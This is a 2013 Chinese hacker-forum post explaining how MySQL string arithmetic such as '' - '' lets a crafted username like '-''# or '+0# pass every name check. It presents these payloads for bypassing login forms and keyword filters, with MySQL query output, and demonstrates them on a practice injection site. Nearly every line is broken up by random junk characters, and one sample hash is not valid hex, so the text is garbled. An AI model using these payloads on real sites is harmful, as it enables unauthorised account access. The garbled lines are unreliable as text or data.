找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2045|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
$ J! W2 x9 f; ^$ [有以下表结构:
8 L! l, X' W& ]0 N* m& s) t0 ]4 e) c6 y- ?3 S# K$ j; h: i, N
mysql> desc admin;4 ], u( b. `* q- m. |( _) X
+----------+--------------+------+-----+---------+----------------+: ^) j5 y5 @( Y7 E
| Field    | Type         | Null | Key | Default | Extra          |
. F4 ]4 }/ y8 z, q7 D" m( E+----------+--------------+------+-----+---------+----------------+
% ]2 s0 r, A6 e$ Z% L7 l% B4 [| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
9 i2 G/ {* p3 E' W| name     | char(32)     | NO   | UNI | NULL    |                |
+ U* I1 h( g# [1 r| password | char(32)     | NO   | UNI | NULL    |                |
" K: L7 G- j  [; T$ ]+----------+--------------+------+-----+---------+----------------+5 K1 p# _( c5 W% S, A* F8 g
3 rows in set (0.00 sec)+ i; @7 j/ y2 W! X
执行select * from admin;,成功返回所有记录内容。1 R6 D" r; o6 {1 N7 g
/ {7 A, `& v/ X& U6 i; v! `/ C& {' @

$ B2 c; [) S. A( }9 x$ k+----+--------+----------------------------------+4 a% h& T4 Y/ X1 J
| id | name   | password                         |
1 C9 p: X4 [. E0 u$ |5 c! v+----+--------+----------------------------------+" r! @' j2 _6 N3 {. O1 I
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |  T+ K' `4 |2 @
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
( k3 f2 W& q/ X3 }. k, O0 l|  4 | n00b   | ff80e8508d39047460921792273533a4 |) M* M8 R, u3 K0 J
+----+--------+----------------------------------+8 ^% B; D1 M1 N3 f
3 rows in set (0.00 sec)
0 |8 ]2 Z, h+ S% i% b: q5 P7 i执行select * from admin where name=”;,没有匹配到任何记录。 9 i& K$ x$ I" A
. ~4 @0 N+ U' G( @
mysql> select * from admin where name = '';! D; I0 n2 T3 D( L6 `7 N
Empty set (0.00 sec)- U- f8 T; t) b/ e9 f$ f1 T
那么我们来执行select * from admin where name = ”-”;$ D, {9 k/ I1 u1 K7 i
/ ^8 r' R7 k) ~
+ I- r$ k! x0 B# p
+----+--------+----------------------------------+
, E; ]; b& U, U; m| id | name   | password                         |  g, _. _0 |+ m5 `, H5 o
+----+--------+----------------------------------+  Y  A$ |0 k, I9 `
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
3 f% T% Z4 ]+ {, q|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
6 W0 I! B4 _/ j( ||  4 | n00b   | ff80e8508d39047460921792273533a4 |
+ W5 w( o# y9 [' z+----+--------+----------------------------------+
" v9 U$ a' |& N; T3 rows in set, 3 warnings (0.00 sec)7 A3 ]6 j: U+ i4 s8 C
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
' i' g; ?# f& S' F
# o# n, K% s% P5 Bmysql> show warnings;
" m9 {+ f% S% E2 Y! e/ d$ \+---------+------+------------------------------------------
* p) Q" M; E# z9 {2 \* L| Level   | Code | Message- o( X# {/ y8 f0 `7 f. u+ ~
+---------+------+------------------------------------------
6 k) @- ?6 x! C1 {6 B' i' {& B6 L| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
) G- g. e& @: M) _. j| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
) @6 x, x" d; L- J# J; ]| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
; @, n9 b, {, P1 {1 N+---------+------+------------------------------------------
5 \) x* A( w+ ?3 rows in set (0.00 sec)
% T7 ~+ L( x( P' |7 H4 D3 |提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
  _9 J( P) R3 [0 X. K, N9 s8 `' L& w; S* {1 }/ |4 |* u5 b) m5 q
mysql> select ''-'';
# l8 M+ j! p# ]7 E9 B  |0 s+-------+3 L& v, F- E% n( L
| ''-'' |! u4 n2 D$ h8 [% m  }
+-------+
0 P" {$ d& J! Q  V& y! W|     0 |
0 s. w# }/ E7 D& {- a+ \2 @+-------+8 s: Z! U" L" W% j1 w- J; O
1 row in set (0.00 sec)* F$ P) Z" P% V: Q3 n* c
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: / O" x* m) s! L, D, k% k
% @- ^' {* a# p# e* S
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
. t8 Y5 R. F5 H+-----------------------------------------------------+
1 x% n, [* W2 {$ d| CAST((select name from admin limit 1,1) as DECIMAL) |5 a$ c* S! i2 Z* T, R' ^% P
+-----------------------------------------------------+
& g0 m% P3 Z/ L& {2 ||                                                   0 |& W/ [& M, P2 m; K* l8 n0 \$ E
+-----------------------------------------------------+' j+ ]6 M6 I1 W- f
1 row in set, 1 warning (0.00 sec)
) p: E4 c" f6 _# Z因此where语句构成了相等的条件,where 0=”=”,记录被返回。
( z+ i9 A3 N  O' @5 d: |
6 k' o* d) V, W5 P1 C/ G. A; MSQL注入场景: http://www.sqlzoo.net/hack/ ' Z+ W! }% T6 X4 S! V! i# D8 W2 @% S( L

! o# \9 i9 M2 q& V5 f' v# W( z9 x2 V$ U8 D3 V, B8 D. P
8 t' A. n) U- }* S

" i( q" f/ s6 R# j' i4 a. x0 r如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 $ l4 e3 S+ t/ N- W  c# }* k, H

0 V0 h4 B% c3 ^9 J* _那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
; F$ V  E+ f+ N" H' m3 G: z/ K# j- Z: D% S- \
4 P( r3 r( c) M# n+ m
* V7 o+ O% O/ E7 Q6 [& T4 Y

5 s& V( c9 V1 G5 D6 Y$ |仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 . |1 u1 g: k" U: j# {" d
4 C/ P3 @- ^( C
   * k% \8 U3 I/ K/ ^
/ h% e5 v* J( r# L7 Y
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可1 ~5 E. d/ E7 f; y, t
0 r! L' [( @4 o
1 J9 K( E) D/ ^1 _6 H( O2 u5 g. Y6 M
mysql> select ''/1;+ e- c" b  ^3 g
+------+" M: j: ~6 a/ K2 ^& c0 t2 Y: ?# P
| ''/1 |) Z" X6 L) s" v0 A9 o# R' a* M/ i
+------+* j  J( @# ]8 ]; C4 P1 h
|    0 |9 a. a* s# a3 }  {* S$ F" V% Q
+------+3 O( e% M8 W  B; C4 B: X# }
1 row in set (0.00 sec)
9 Q0 }3 E9 a% y0 `& b+ E' u类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  & H% n4 j4 n; J, T6 r: f+ t- s

5 n) O4 u- [' @7 c7 X利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。, V$ w4 q- ?6 r. C% N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表